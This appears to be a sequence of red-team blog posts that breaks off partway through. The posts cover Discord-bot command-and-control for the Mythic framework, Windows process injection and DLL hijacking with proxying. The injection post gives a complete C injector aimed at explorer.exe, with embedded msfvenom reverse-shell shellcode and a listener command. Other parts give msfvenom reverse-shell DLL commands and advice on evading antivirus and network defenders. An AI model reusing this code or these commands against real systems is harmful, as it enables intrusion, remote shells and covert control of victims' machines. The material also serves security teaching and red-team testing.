In the realm of cybersecurity, the landscape is constantly evolving, with threat actors devising new methods to infiltrate systems and compromise data. One such method I recently decided to test is the use of Discord bots for Command and Control (C2) traffic brokerage. Discord, originally a platform for gamers to communicate, has emerged as an unexpected but powerful tool for covert communications and control.

Understanding Command and Control (C2)

Before delving into the world of Discord bots, it’s essential to grasp the concept of Command and Control (C2) in cybersecurity. C2 refers to the communication channels and infrastructure used by threat actors / penetration testers or red team operators to control compromised systems. Traditionally, C2 infrastructures involved complex setups and dedicated servers, making them unique in both UI and functionalities. There are many, and I really mean, MANY C2 frameworks out there, both open sourced and commercialized.

For more info, you can take a look at the C2 Matrix Spreadsheet(https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc/edit).

One of my favorite Open Sourced C2 Framework is Mythic C2 (https://github.com/its-a-feature/Mythic), mainly because of its infrastructure, design, and flexibility.

Mythic has its own ecosystem, it is heavily dockerized which has its prons and cons, but also, it allows everyone with coding skills to implement their own agents or C2 profiles. Agents are the implants themselves, while the C2 profiles, is how these implant may communicate with the main Mythic C2 server. While there are many C2 agents(https://github.com/MythicAgents), one of my favorites is the Athena(https://github.com/MythicAgents/Athena).

This agent is build on .net Core, and I was already fascinated of what it can do. Me and Athena’s creator (@checkymander) did a livestream some time ago, so if you want to learn more on how Athena actually works, feel welcomed to my Youtube Channel:

If you appreciate my work, you can support me on Patreon and get access to my private packer — ShadowBurn.

In the last years, the C2 frameworks are aiming to be as creative as possible, this include everything from initial payload execution, to communication method for better evasion. Most C2 frameworks nowadays are utilizing HTTPS protocol for this case. This is generally a good option because of:

* Outbound HTTPS is allowed in most of the cases.
* Traffic is encrypted.
* Easy to customize the server side to look legit, like a normal web server.

Even though HTTPS is great, it has its down sides when it comes to offensive campaigns. For instance, the outgoing HTTPS traffic is often downgraded and decrypted inside the local company firewall. The decrpted traffic is logged and analyzed, then re-crypted and forwarded. This action allows the blue team to analyze what is going on if specific alerts are risen. The decrypted logs are stored so it is easier to find incident traces. When this is combined with good endpoint protection, it can become extremely frustrating for the attacker.

Keep in mind that C2 communication can be caught on many places, such as the network level. While endpoint protection is extremely important, it is not the only problem to bypass!

In this blog we will NOT pay any attention to the endpoint protections, but on the network side of things. C2 frameworks like Mythic and its Athena agent, has the ability to communicate over HTTPS, but not only! They can be utilized into communicating over various third parties or *trusted* channels, like Discord(https://github.com/MythicC2Profiles/discord) and Slack(https://github.com/MythicC2Profiles/slack). This enhances the evasiveness over the network, mainly because of the C2 traffic is now more likely to just blend into the normal traffic of the compromised machine, especially if it has discord running on its system. If there are restrictions about what programs can or cannot be installed, Discord can be also used from any web browser, which makes this C2 profile extremely applicable for many environments.

Setting up the infrastructure

Creating Discord Bot

I already created a YouTube video with guide on how to setup the infrastructure, so if you prefer watching a video instead of reading, feel welcomed:

The first thing we need to understand is how much development-friendly Discord is. While you cannot read or write to the Discord source code directly, you can create the so called bots. These bots can be created on multiple languages, and there are even dedicated libraries for this case, for example Discord.py(https://discordpy.readthedocs.io/en/stable/).

The bots can be implemented for multiple different purposes, including:
- Server management
- Chat moderation
- Automatic announcements
- Role management and more

Here, one of the very simplest functionality a bot can have, is to read and send messages. This is all what the C2 profile is about. Keep in mind that the bots are powerful, with proper permissions, they can be utilized for a lot of things.

Obviously the first thing is to create a bot with proper permissions and add it to any demo server.

Some settings like the bot name, server name and server members does not matter, do not think about them at all. It is even not required for the compromised, nor attacking machine to have discord installed on its system.

Servers can be created super simple, by following the big + icon on bot left -> Create my Own -> For me and my friends -> Give it a fancy name and click Create.

This will create the dedicated server, now time to add some bots!

In order to create and add a bot, you need to first navigate to the Discord Developer Portal(https://discord.com/developers/applications). There, click New Application on the top right corner and give it some random name.

If everything went smooth, after clicking on the newly created application, you should see its settings like this:

From there, you need to go for the Bot menu -> Reset Token button. This will print the bot token, save it for later! Additionally, as mentioned before, the bot need to be able to read / write messages. In order to allow the application to do so, scroll down and toggle *MESSAGE CONTENT INTENT* intents:

Now that our bot has the intent for sending messages, it is time to invite it to the server. To do so:

1. Go to OAuth2 Menu from the left.
2. On the OAuth2 URL Generator check Bot option
3. Check Send Messages, Send Messages in Threads, Read Message History, Read Messages / View Channels and Manage Messages.

It should look something like that:

If you pay close attention to the very bottom of the previous screenshot, you will see a URL. By simply copying and pasting it into a browser from where you were already logged into your Discord account, you will be able to invite the bot to your server. When you authorize the request, the bot should be present in your server but offline.

Setting up the Mythic C2

I have already created a YT video on how to install and operate with Mythic C2, if you are new to this framework, I highly recommend to watch it first, before continuing with this blogpost:

In a nutshell, after you install the Mythic C2 itself, we would need only 2 things:
* Athena agent
* Discord C2 profile

Luckily, the Mythic C2 has amazing feature installation procedure, all you have to do is just run (as root and from the cloned Mythic C2 directory) `./mythic_cli install github <URL>`, which in that case would be:

# INSTALLING ATHENA
./mythic_cli install github https://github.com/MythicAgents/Athena

# INSTALLING DISCORD
./mythic_cli install discord https://github.com/MythicC2Profiles/discord

After these two are finished, upon logging in to your Mythic C2 instance, you should see something like this:

Now it is time to generate a payload, this is done by simply clicking on the payloads tab -> ACTIONS -> Generate New Payload. Here we obviously need to select Windows platform and Athena agent. I will leave all settings to their defaults and skip to the C2 profile tab. There, the only two things that we will need to modify, are the *A Bot Token for sending messages* and *The channel ID for the messages*.

The bot token is the one you obtained during the bot creation phase, and the channel ID can be obtained after right clicking on any text channel in your newly discord server -> copy channel ID:

After setting the C2 profile settings, you can click the *NEXT* and the *CREATE PAYLOAD* button to generate and compile your Athena beacon.

The compilation phase is huge and time consuming based on your hardware. Be patient and ensure that you have more than 4GB of RAM.

Now after the payload is generated, there is no need for the client or the server to have Discord installed or to operate with it via web browser. The bot is doing that automatically!

Demo

After we transfer and execute the beacon from a Windows machine, we can observe that the previously offline-sitting bot is now online!

With that, after going back to the Mythic C2 server, we can observe that there is a callback appearing just the same as if we were using HTTP/S.

The Discord profile is using a websocket communication, which is intended to be extremely fast. Indeed the commands are issued instantaneously, and are working just the same as they would if HTTP C2 profile was used.

The current Discord profile is automatically deleting all transmitted messages, so there are no traces on the server itself. After running various commands, the server is still empty.

I asked the developer to include verbose options, such as one for saving all the messages into the Discord server itself. He liked the idea so definitely we will get an update on that. Beside that, the C2 profile and the Athena agent were working just great and I am yet to give them a try for longer periods of time.

Keep in mind that the open sourced world is based on contributions, you do not need to know how to write code, submitting a bug is as helpful.

During the time of the testing, I had [Portmaster](https://safing.io/) application installed on my compromised Windows machine. Portmaster is software firewall application which lets you observe and control with ease what network connections are going in and out of your PC. Portmaster recognized the Athena.exe process, but the traffic was already allowed by default.

Of course a process talking to discord can be suspicious by itself, especially if it is not Discord.exe or any web browser. You may consider injecting into these processes first.

Conclusion

While Discord bots offer unparalleled convenience and versatility for developers and enthusiasts alike, they also can be utilized for offensive campaigns. Using such trusted channels for communication, I believe it makes the blue teamers job a little harder, since such traffic can more easily just blend into the one from rest of the network. Additionally, Discord has its own valid and trusted certificates, so this condition even saves time and effort into building and configuring local SSL infrastructure.

Of course, do not get me wrong, I am not saying that it is not possible to get detected on the network level, but it is less likely, especially, if the compromised machine is already using Discord before or during the attack. I really enjoy such innovative methods since they indeed bring up a lot of creativity to the table.

Once again, shout out to the creators of the Athena and the Discord profiles, you guys rock! Keep up the good work!

If you enjoy such content and you want to see more of it, you can support me by becoming my Patreon.

Introduction

Greetings, fellow red teamers and cybersecurity enthusiasts! Today, I’m thrilled to write about one well known but still utilized technique — process injection. This malware development technique is revered by both red team operators and adversaries alike for its potency and versatility. As practitioners of the art of intrusion, we understand the pivotal role that process injection plays in our arsenal of tactics, techniques, and procedures (TTPs).

I am a huge fan of doing things as custom as possible, this way you can understand in details what is going on under the hood, instead of blindly trusting your tools to not get detected. While process injection / migration is integrated in various C2 frameworks out there, the raw implementation between them may differ, thus, the detection as well.

Let me be clear, I do not say to not use the utilities from your favorite C2 frameworks, but I believe that the more you know how things work, the more you can get out of them.

Process Injection is already implemented in my private ShadowBurn packer. By supporting my work on Patreon you get access to it as well as other hidden gems.

Basic Windows Internals

When talking about process injection, I will address the Windows environment since most maldev tools and techniques are designed to target Windows OS. I am sure that there can be Linux implementations for process injection, if you know and want to share a cool project, feel free to do it in the [Red Teaming Army Discord server](https://discord.gg/KYAAKTtau8).

In order to understand the injection technique, we must first define some basic building blocks for the Windows OS, right?

I know that many of this things can be well known to a lot of you, so you can use the right pane to navigate throughout this blog-post. Hope you learn something new!

Processes

At its core, a process can be defined as an instance of a program that is being executed. When you start a program in Windows, the operating system allocates resources such as memory, CPU time, and I/O devices to execute that program. This allocation is done by creating a process for the program. The process contains all the necessary information for the program’s execution, including its code, data, and execution state.

Processes in Windows operate in a multitasking environment, meaning that multiple processes can run concurrently, sharing the system’s resources efficiently. Generally, they can be categorized into several types based on their characteristics and how they’re created:

1. User Processes: These are initiated by users and typically include applications such as web browsers, word processors, and media players. User processes run in user mode, which provides a layer of protection and isolation from system-level operations.

2. System Processes: System processes, also known as kernel processes, are initiated and managed by the Windows kernel. They perform essential system functions such as memory management, I/O operations, and device drivers. System processes run in kernel mode, allowing them to access system resources directly.

3. Service Processes: Services are background processes that run without user intervention, providing various system functionalities such as network communication, printing, and system monitoring. These processes often start automatically when the system boots up and continue running in the background.

4. Child Processes: A process can create additional processes known as child processes. These processes inherit certain attributes from their parent process and can perform tasks independently. Child processes are commonly used in multitasking environments to execute parallel tasks or subprocesses.

A cool program to analyze running processes is Process Hacker 2 (https://processhacker.sourceforge.io/downloads.php).

Threads

A thread can be defined as the smallest unit of execution within a process. Unlike processes, which are independent entities with their own memory space, threads exist within processes and share the same memory space. Threads enable concurrent execution of multiple tasks within a single process, allowing for parallelism and efficient utilization of system resources, such as CPU cores.

Each thread within a process has its own program counter, stack, and execution state, but they can access shared data and resources within the process. This shared memory model facilitates communication and coordination between threads, enabling them to collaborate on complex tasks.

Threads can execute independently or cooperatively, depending on the programming paradigm and synchronization mechanisms employed. Concurrent execution of threads can lead to improved performance, responsiveness, and resource utilization, especially in scenarios involving parallelizable tasks, such as multimedia processing, web servers, and scientific simulations.

Threads can be categorized into two main types based on their association with the operating system or programming language:

1. Kernel Threads: Kernel threads are managed and scheduled by the operating system’s kernel. These threads have full support for multitasking and can execute in parallel on multiple CPU cores. Kernel threads provide a low-level abstraction for concurrent execution and are typically used in system-level programming and operating system development.
   
   2. User Threads: User threads are implemented and managed at the application level, typically using threading libraries or programming language constructs. Unlike kernel threads, user threads are not directly supported by the operating system and rely on the underlying runtime environment or threading library for scheduling and execution. User threads offer a higher-level abstraction for concurrency and are commonly used in application development, including web servers, database systems, and multimedia applications.

Again, threads can be analyzed with the same Process Hacker 2 software after choosing a process of your choice.

Anatomy of Process Injection

So far it should be around clear on what is process and a thread. In a nutshell, process is the car while the thread is you pushing the gas pedal. The threads are doing the actual work, executing code which resembles into CPU instructions later on. Usually, when we create a simple malware, like the shellcode runner from the previous blogpost, we create a new process, allocate the appropriate memory, write the malicious payload to it in the form of shellcode and then point the current thread into the address of the allocated memory, that is what Direct Pointer (DP) is all about. While this technique is proven to be evasive, it is impossible to perform it over remote process, because we can’t really control the main thread from distance.

Even though DP is not an option here, we still have plenty of. In a nutshell we need to follow the theory behind shellcode execution, but just apply it for the remote process, which in this case will look something like this:

Step 1 — Enumerate processes and target one

We cannot build malware from the victim system (at least its very hard and not effective), so the first step would be to design the malware to automatically search and target specific process, like `explorer.exe`. Usually we are going to need the PID of the process, but since this value is arbitrary, we would need the help of some Win32 APIs.

In my Offensive CPP Project, I already stored some process enumeration snippets, let’s modify and use one of them.

BOOL GetProcessHandle(IN LPWSTR processName, OUT HANDLE hProcess, OUT DWORD* pID)
{
 DWORD pid = 0;
 HANDLE hP = NULL;
 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
 if (hSnapshot == INVALID_HANDLE_VALUE)
 {
  printf("[ERROR] Invalid HANDLE to process snapshots [%d]\n", GetLastError());
  return FALSE;
 }
 PROCESSENTRY32 pe;
 pe.dwSize = sizeof(pe);

 if (!Process32First(hSnapshot, &pe))
 {
  printf("[ERROR] Could not enumerate processes [%d]\n", GetLastError());
  return FALSE;
 }
 
 do {
  if (0 == _wcsicmp(processName, pe.szExeFile))
  {
   pid = pe.th32ProcessID;
   printf("[!] Trying to open handle on %ls, on pid %d\n", processName, pid);

   hP = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid);
   if (hP == NULL)
   {
    printf("[X] Could not open handle on %d, continuing\n", pid);
   }
   else
   {
    printf("[+] Successfully got handle on %d\n", pid);
    *pID = pid;
    hProcess = hP;
    return TRUE;
   }
  }
 } while (Process32Next(hSnapshot, &pe));

 CloseHandle(hSnapshot);
}

This snippet utilizes the CreateToolhelp32Snapshot API to enumerate all processes, loop through every single one of them until a valid handle is opened. When so, the `TRUE` is returned along with the PID of the process and the valid handle to it.

Now you may ask:
`Why are you utilizing the OpenProcess() API call each time you loop, can’t you just compare by valid PID?`

I can, but if I target process like `svchost.exe`, the logic breaks. `svchost.exe` is multi-layered process, it may have more than 20+ instances depending on the system. Usually, the first ones are reserved for the `SYSTEM` user or for any of the service users. If that is the case, simply returning the PID does not work for us, because we would not be able to open the process either way. The code snippet above tries to open handle to the process, and return only if a handle is valid. Which means that if the process is multi-layered like `svchost.exe`, it will try to open every instance of this process until it gets a valid handle. I know that this is not the best code but it works!

Step 2 — Allocate memory to the remote process

Having a valid handle to a process mean that we can now operate with the process itself. This include allocating / writing / reading remote memory, creating remote threads, changing remote memory protections settings and more. In order to keep things simple we will be using Win32 APIs for that.

Since we now have a valid handle, we need to to allocate remote memory. Usually in Windows, the Win32 APIs that are designed for remote process operations are marked with `Ex`, such as VirtualAllocEx. This API is relatively easy to use, following its signature is straight forward.

LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

The only thing we lack so far is the arbitrary `dwSize` number, this is the size of bytes for our payload to be execute from the remote process. Let’s generate one with `msfvenom`:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=9443 -f c

Make sure to pay attention to `Payload Size`, in that case it is 460.

Keep in mind that if the payload is generated from any C2 framework, the chances are that it will be in MegaBytes (MB), it will be easier to stage it instead of embedding it in the dropper itself.

Since we have the payload now, we can just paste the C output from `msfvenom` into our code, and the call `VirtualAllocEx`:

HANDLE pAddr = VirtualAllocEx(hProcess, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

This will use the `hProcess` handle acquired from the previous function, and allocate 460 (in this case) bytes of memory in the remote process. The memory allocation pages are committed and reserved (pretty much ready for work), and the memory protection is set to read and write only.

Step 3 — Writing the payload to the allocated memory

Allocating memory is different than writing to it. For instance, after we allocated memory with `VirtualAllocEx` API call, 460 bytes are reserved but empty. Now we need to write our payload inside. Again, calling the Win32 API WriteProcessMemory should be simple after following its signature:

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

Which resolves into:

WriteProcessMemory(hProcess, pAddr, buf, sizeof(buf), NULL);

This syntax just writes the contents of the `buf` variable inside the address allocated from the previous step. Keep an eye on the size, if you mismatch it your payload will not gonna work.

Step 4 — Changing memory protections

Now we need to change the memory protection settings from read and write, to read and execute. Without the executive primitives, the written payload to the memory will never be executed. We do this because allocating memory directly with executive primitives is huge IOC and many vendors will catch it right off the bat. While there are many approaches to be more evasive on that, like finding a process with executable memory by default, I want to keep things simple.

Here we can use the VirtualProtectEx Win32 API:

BOOL VirtualProtectEx(
  [in]  HANDLE hProcess,
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);

It is also recommended to add sleep timeouts before and / or after changing the memory protection settings. This might help with the evasion part.

Calling this API can sound complex at first, but trust me, it is not. First we need to add a new `DWORD` variable, it will hold the previous protection settings if we need them. The last parameter can also be `NULL`, but it’s better to save your previous settings. Then, invoking the API is as simple as:

VirtualProtectEx(hProcess, pAddr, sizeof(buf), PAGE_EXECUTE_READ, &oldProtect);

Again, we are modifying the memory protection settings of 460 bytes from the address of the allocated memory (the one from `VirtualAllocEx` call) with execute and read permissions. Keep note that we do not use execute, read and write simultaneously.

Step 5 — Executing the payload

This is done via creating a new thread. While this is extremely suspicious behavior, I think it is fundamental to know it. If you want to dig deeper, there are more advanced techniques like Threadless Injection which perform process injection without manually creating new threads. I implemented the Threadless Injection in C language, using Win32 APIs, so if you are interested, take a look: https://github.com/lsecqt/ThreadlessInject-C

Threadless Inject will be soon integrated to my ShadowBurn packer. By supporting my work on Patreon, you get access to it as well as the ability to request video / blogs on demand. Appreciate your support there!

As mentioned before, we cannot simply alter the main thread as we did with Direct Pointer execution. In order to create a new thread, we need CreateRemoteThread Win32 API.

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

Do not be overwhelmed by the high count of parameters, the calling implementation is as simple as:

CreateRemoteThread(hProcess, NULL, sizeof(buf), pAddr, NULL, NULL, NULL);

Here, most of the parameters are `NULL`, because the Windows OS automatically handles them. Additionally, we do not need any parameters for the written payload, the only thing we really need is the handle to the process, the size and the address again.

Step 6 — Assembling the pieces

Before doing anything, make sure to start your listener with:

nc -nvlp 9443ba

After combining the pieces, the code looks something like this:

#include <Windows.h>
#include <tlhelp32.h>
#include <stdio.h>

DWORD GetProcessHandle(IN LPWSTR processName, OUT HANDLE hProcess, OUT DWORD* pID);

unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x24\xe3\xc0\xa8\x00\x6f"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

BOOL GetProcessHandle(IN LPWSTR processName, OUT HANDLE* hProcess, OUT DWORD* pID)
{
 DWORD pid = 0;
 HANDLE hP = NULL;
 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
 if (hSnapshot == INVALID_HANDLE_VALUE)
 {
  printf("[ERROR] Invalid HANDLE to process snapshots [%d]\n", GetLastError());
  return FALSE;
 }
 PROCESSENTRY32 pe;
 pe.dwSize = sizeof(pe);

 if (!Process32First(hSnapshot, &pe))
 {
  printf("[ERROR] Could not enumerate processes [%d]\n", GetLastError());
  return FALSE;
 }
 
 do {
  if (0 == _wcsicmp(processName, pe.szExeFile))
  {
   pid = pe.th32ProcessID;
   printf("[!] Trying to open handle on %ls, on pid %d\n", processName, pid);

   hP = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid);
   if (hP == NULL)
   {
    printf("[X] Could not open handle on %d, continuing\n", pid);
   }
   else
   {
    printf("[+] Successfully got handle on %d\n", pid);
    *pID = pid;
    *hProcess = hP;
    return TRUE;
   }
  }
 } while (Process32Next(hSnapshot, &pe));

 CloseHandle(hSnapshot);
}


int main()
{
 HANDLE hProcess = NULL;
 DWORD pID = 0;
 LPWSTR processName = L"explorer.exe";
 DWORD oldProtect = 0;
 if (GetProcessHandle(processName, &hProcess, &pID) == FALSE)
 {
  printf("[ERROR] Could not obtain handle [%d]\n", GetLastError());
  return 99;
 }
 printf("[+] The PID of %ls is %d\n", processName, pID);

 HANDLE pAddr = VirtualAllocEx(hProcess, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 if (pAddr == NULL)
 {
  printf("[ERROR] Could not allocate remote memory [%d]\n", GetLastError());
  return 100;
 }
 printf("[+] Successfully allocated memory at %p\n", pAddr);
 if (WriteProcessMemory(hProcess, pAddr, buf, sizeof(buf), NULL) == 0)
 {
  printf("[ERROR] Could not write to remote memory [%d]\n", GetLastError());
  return 101;
 }
 printf("[+] Successfully written payload to memory\n");
 if (VirtualProtectEx(hProcess, pAddr, sizeof(buf), PAGE_EXECUTE_READ, &oldProtect) == 0)
 {
  printf("[ERROR] Could not change the memory protection [%d]\n", GetLastError());
  return 102;
 }
 printf("[+] Successfully changed the memory protection settings to PAGE_EXECUTE_READ\n");
 HANDLE hThread = CreateRemoteThread(hProcess, NULL, sizeof(buf), pAddr, NULL, NULL, NULL);
 if (hThread == NULL)
 {
  printf("[ERROR] Could not create new thread [%d]\n", GetLastError());
  return 102;
 }
 printf("[+] Successfully created a thread, check your listener!\n");
}

After execution, if everything went smooth, we should receive the incoming reverse shell:

Conclusion

With this, you are now free to customize as much as you want. In fact, this is the most beautiful thing about malware development, there is no limit if there is enough creativity!

I am aware that the technique showcased in this blog is not advanced at all, but I hope it gives you a nice foundation into process injection.

I am deeply appreciating any of your feedback. Also, If you have a nice video / blog topic, you can ask for it in the Red Teaming Army Discord Channel.

Also, make sure to subscribe to my YouTube channel: https://www.youtube.com/c/lsecqt

As well as to take a look at the Red Teaming Army Website: https://lsecqt.github.io/Red-Teaming-Army/

DLL Hijacking is one of the techniques to dechain downloading from executing phase. This technique can drastically help your C2 to pass against AVs and EDRs. Since the regular DLL Hijacking is super simple to perform, it can be a little challenging to weaponize it in real environment.

Sometimes it can be enough to perform simple DLL Hijacking just to prove a binary is vulnerable, this is often done in specific pentesting scenarios. This blog covers the case of “stealthness” (evading AV vendors with this technique), so we will go over some caviats in the next sections.

I already have a video on this topic, so if you prefer watching instead of reading, feel welcomed to my channel: https://www.youtube.com/watch?v=KhVxglO2mcM

Also, I have a Discord server for sharing information, knowledge and experience. If you want to be a part of such community, you can join from here: https://discord.gg/dWCe5ZMvtQ

DLL Hijacking

DLL Hijacking is attack for specific preinstalled binaries. When a binary is executed, and during runtime, it is actively loading functions from various DLLs. DLLs (Dynamic Link Library) are files, designed to share various functions between processes. The problem arises when the binary is trying to load a DLL from not existing path, while we (as intruders) have write access over it!

When a binary cannot load a DLL from its current directory, it will start searching for it in various sub and system directories. Do not forget to scan your write access on all of them.

Enumerate DLL Hijacking

Enumeration often is being done with procmon. In a nutshell, procmon is a legitimate MS tool for monitoring process activity. It can be downloaded from: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

After opening procmon, several filter must be applied:

1. Filtering the binary by name
2. Filtering the path to be ending with .dll
3. Filtering the result to contain NOT FOUND

After the filters are applied, make sure to start the binary, and if everything is setup correctly, it can look smth like this:

For the sake of the demo, I am using DVTA as a targeted vulnerable application (https://github.com/srini0x00/dvta)

All of the results from the screenshot, show a potential DLL hijack vulnerability, if we have right access over any of the directories, we can overwrite the not found DLL with a custom malicious DLL.

For the sake of the testing I chose “C:\Users\user\Desktop\dvta\DVTA\bin\x64\Release\CRYPTSP.dll” for my hijackable DLL.

Observe the full path carefully, it is in a directory, that my user have write access over. There are more not found DLLs, but most of them are inside “C:\Windows” which we do not have permissions by default.

The enumeration process revealed “CRYPTSP.dll” to be a great target!

Executing DLL Hijacking

For a simple pentest scenario, sometimes it is enough just to prove the binary is vulnerable. Let’s create a sample DLL and perform the attack.

For generating a sample DLL, we can use either custom made one (recommended), or a msfvenom one. For the sake of the demo, I created the following custom DLL, to spawn “calc.exe” process.

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <stdlib.h>
#include <windows.h>


void calc();

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
 HANDLE t;
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
  t = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)calc, NULL, 0, NULL);
  CloseHandle(t);
  break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

void calc()
{
 system("calc.exe");
}

DLL’s entry point is called “DLLMain” and it executes code via various conditions on how the DLL is called. When a process reads a function from the DLL it generally uses “DLL_PROCESS_ATTACH”. We will store our custom code there!

After renaming the DLL “CRYPTSP.dll” and placing it on the vulnerable directory, we can confirm DLL hijacking vulnerability, after executing the DVTA.exe binary:

DLL Proxying

Theory

While performing the previous DLL Hijacking, the chances are that the binary will break either on start up or at runtime after loading our custom DLL. We can confirm that by replacing the previous DLL with a one from msfvenom for reverse shell callback.

During the demo I used the following msfvenom payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f dll -o CRYPTSP.dll

After executing the DLL hijacked binary, we can observe that the shell callback is present, but the binary is not yet started.

This is because of 2 problems:

1. The thread is occupied by the reverse shell.
2. The execution flow is unknown, meaning after executing the shell, the binary is still corrupted.

Setup

To solve this problem we must perform something called DLL proxying. It looks like this:

DLL proxying is a technique to restore the native DLL execution flow (function calls) so the binary is not corrupted. Luckily, there are tools which can export the functions and even generate a CPP template.

One such tool is called spartacus (https://github.com/Accenture/Spartacus)

Spartacus requires procmon to be installed.

To run spartacus, you can follow the syntax:

.\Spartacus-v1.2.0-x64.exe --procmon C:\Users\user\Desktop\Procmon64.exe --pml test.plm --csv ./output.csv --exports . --verbose

Spartacus will automatically engage with procmon, setup filters and find DLL hijackable binaries. After finding such, it will try to export all the functions it needs from the mentioned DLL.

After executing the command, make sure to execute the targeted binary, and then terminate spartacus by pressing enter, it will generate similar output:

From the output, spartacus founds which DLLs are hijackable, exports their functions and generates a cpp template for the DLL.

The cpp template (for CRYPTSP.dll) looks like this in my example:

#pragma once

#pragma comment(linker,"/export:SystemFunction001=C:\\Windows\\System32\\cryptbase.SystemFunction001,@1")
#pragma comment(linker,"/export:SystemFunction002=C:\\Windows\\System32\\cryptbase.SystemFunction002,@2")
#pragma comment(linker,"/export:SystemFunction003=C:\\Windows\\System32\\cryptbase.SystemFunction003,@3")
#pragma comment(linker,"/export:SystemFunction004=C:\\Windows\\System32\\cryptbase.SystemFunction004,@4")
#pragma comment(linker,"/export:SystemFunction005=C:\\Windows\\System32\\cryptbase.SystemFunction005,@5")
#pragma comment(linker,"/export:SystemFunction028=C:\\Windows\\System32\\cryptbase.SystemFunction028,@6")
#pragma comment(linker,"/export:SystemFunction029=C:\\Windows\\System32\\cryptbase.SystemFunction029,@7")
